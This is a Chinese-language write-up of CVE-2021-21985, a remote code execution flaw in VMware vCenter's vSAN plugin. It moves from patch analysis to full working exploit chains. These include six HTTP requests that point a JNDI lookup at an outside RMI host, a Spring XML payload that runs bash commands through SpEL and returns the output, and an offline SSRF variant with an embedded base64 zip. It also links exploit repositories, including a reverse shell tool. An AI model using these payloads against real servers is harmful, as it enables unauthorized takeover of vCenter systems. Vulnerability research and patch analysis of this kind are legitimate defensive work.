漏洞分析
这个漏洞披露也有一段时间了
根据老外对补丁的分析文章 https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985
初步的对漏洞有些了解
通过补丁对比,只要对两个地方进行了修复
h5-vsan-context.jar!/WEB-INF/web.xml
删除了对 /rest/*
的路由映射,没有开放路由访问会返回401,表示已经修复
在 com.vmware.vsan.client.services.ProxygenController
类中添加了对 method
的判断
这都不重要。
0x01 利用了Java反射方法
在 com/vmware/vsan/client/services/ProxygenController.class:117
大致能确定应该是通过反射调用类来触发远程代码执行漏洞。
0x02 基本参数构造
这里使用的spring框架,所以通过RequestMapping
就可以获得路由的构造,通过访问路由/service/{beanIdOrClassName}/{methodName}
就可以获取到 beanIdOrClassName
methodName
和 json格式的body。
rawData = (List)body.get("methodInput");
body是接收的json格式,rawData有被强转换成 List类型
所以构造的body格式如下
{"methodInput": [null]}
然后传入到 invokeService
函数中进行调用。
0x03 寻找可利用的Spring Bean
通过 Class.forName(beanIdOrClassName);
传入的class名
然后会在spring bean在中获取对应class名的bean实体,在获取对应的方法列表,这些注册的bean中又存在危险方法和可利用Bean时,就可以进一步进行反射调用,从而达到远程命令执行的后果
在 h5-vsan-service.jar!/META-INF/spring/base/vsan-base-context.xml:35
出现可疑的类 org.springframework.beans.factory.config.MethodInvokingFactoryBean
进入继承类,
再进入继承类,直到最底层 org.springframework.util.MethodInvoker
会发现这里方法大多都是公开类型,说明在外部可以直接调用,并且还存在一个 invoke()
方法
综上所述 vsanProviderUtils_setVmodlHelper
端点的漏洞触发就是基于 MethodInvoker
类的反射调用了
0x04 构造利用链
接着开始构造利用链
vSphere UI 默认是Tomcat中间件,所以用Tomcat RMI Bypass 的方式就能远程命令执行
关键的类 javax.naming.InitialContext.doLookup
触发步骤:
methodInvoker.setTargetObject(null);
methodInvoker.setStaticMethod("javax.naming.InitialContext.doLookup");
methodInvoker.setTargetMethod("doLookup");
methodInvoker.setArguments("rmi://ip:1099/Exploit");
methodInvoker.prepare();
methodInvoker.invoke();
PoC构造:
直接访问 /ui/h5-vsan/rest/proxy/service/org.springframework.beans.factory.config.MethodInvokingFactoryBean/setTargetObject
No qualifying bean of type 'org.springframework.beans.factory.config.MethodInvokingFactoryBean' available: expected single matching bean but found 7: &vsanProviderUtils_setVmodlHelper,
&vsanProviderUtils_setVsanServiceFactory,
&vsanQueryUtil_setDataService,
&vsanCapabilityUtils_setVsanCapabilityCacheManager,
&vsanUtils_setMessageBundle,
&vsanFormatUtils_setUserSessionService,
&vsphereHealthProviderUtils_setVsphereHealthServiceFactory
肯定是无法找到的,并且找到的几个映射的bean name,需要通过bean name进行映射调用
&vsanProviderUtils_setVmodlHelper
-> org.springframework.beans.factory.config.MethodInvokingFactoryBean
完整PoC
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
其他几个步骤一样的构造方法。
0x05 回显利用链
分析的话,就看原作者的吧 http://noahblog.360.cn/vcenter-cve-2021-2021-21985/
利用的是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl
的 loadVmodlPackage
方法
并且方法中调用了 SpringContextLoader
vmodPackage
可控,最终可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。
漏洞复现
Tomcat RMI 利用链POC
Step 1 setTargetObject to null
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
Step 2 setStaticMethod to payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 57
{"methodInput": ["javax.naming.InitialContext.doLookup"]}
Step 3 setTargetMethod to doLookup
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 29
{"methodInput": ["doLookup"]}
Step 4 setArguments with payload args
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 56
{"methodInput": [["rmi://104.156.231.150:1099/pblc0c"]]}
Step 5 initial payload class and methods
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
Step 6 trigger method invoke
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
可出网回显PoC
context.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
利用python开启web服务器
POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 44
{"methodInput": [["http://169090381:9999"]]}
调用 systemProperties
的 getProperty
方法来获取内存在执行命令的结果
POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 32
{"methodInput": ["output",null]}
不可出网PoC
结合了SSRF直接通过 data:text/html;base64,
方式加载压缩包,在 driverOfflineBundle
的方法中会自动解压提取内部的xml,导致不出网触发漏洞
POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 893
{"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIAKd4xVKwSBTWpQEAAIgEAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT9wwFLwj8R/cIKGNxNrQ3rZJJD4uSCAhtodKlIPjfZsYHDv4OZtFiP+Oay9lv1ppSy5x3pt5mRnbWQlcI5k3SmOe1M61I8b6vqfYWqmrqeUN9MY+UmMrhqKGhrNASfb3SHwCdzRHucLvvwXK1+PjE/bz+mocqEOp0XEtYImNchTnXhnBnTQ6f2/uoGYXLIuAYfigc5wkRfxhyILISZ60ZUKE4ugjeeAzThXXFb2xRgDiWSfVBOw7KRCF8b5sJ5yxQ26rpZZvKolupeJrM646KFgpNSs51hmLha2oofhnO/tyd35x+uP0jvS14Y0k9/fFNkLG1oRkbLvsLMS0kYnE1UykoZe67dzYWeDNLfBdQvmj/uClLak/E9YNUlqBWxo5SF83fewourQbos+66RQsTP5fscTPCxNGKfgNXUu1c1JRDP7p+Qem+MsYfEYHzZbDOo6NZYGtNS1Y90y0vxl50tfcwcwnQIKVPDl4IXEcRXA3C/Dg8Kkz7rvpnN+XuD4ipaVKakC/ZQsfgw8/9MFI7e/XgvlLx3eapuQ1YeupxAUWb1BLAQIfABQAAAAIAKd4xVKwSBTWpQEAAIgEAAASACQAAAAAAAAAIAAAAAAAAABvZmZsaW5lX2J1bmRsZS54bWwKACAAAAAAAAEAGADeNPEi2VnXAd408SLZWdcBm/yF3shZ1wFQSwUGAAAAAAEAAQBkAAAA1QEAAAAA#"]]}
POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 32
{"methodInput": ["output",null]}
漏洞EXP
https://github.com/r0ckysec/CVE-2021-21985
rmi反弹shell exp
可回显exp
Reference
https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985
http://noahblog.360.cn/vcenter-cve-2021-2021-21985/
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论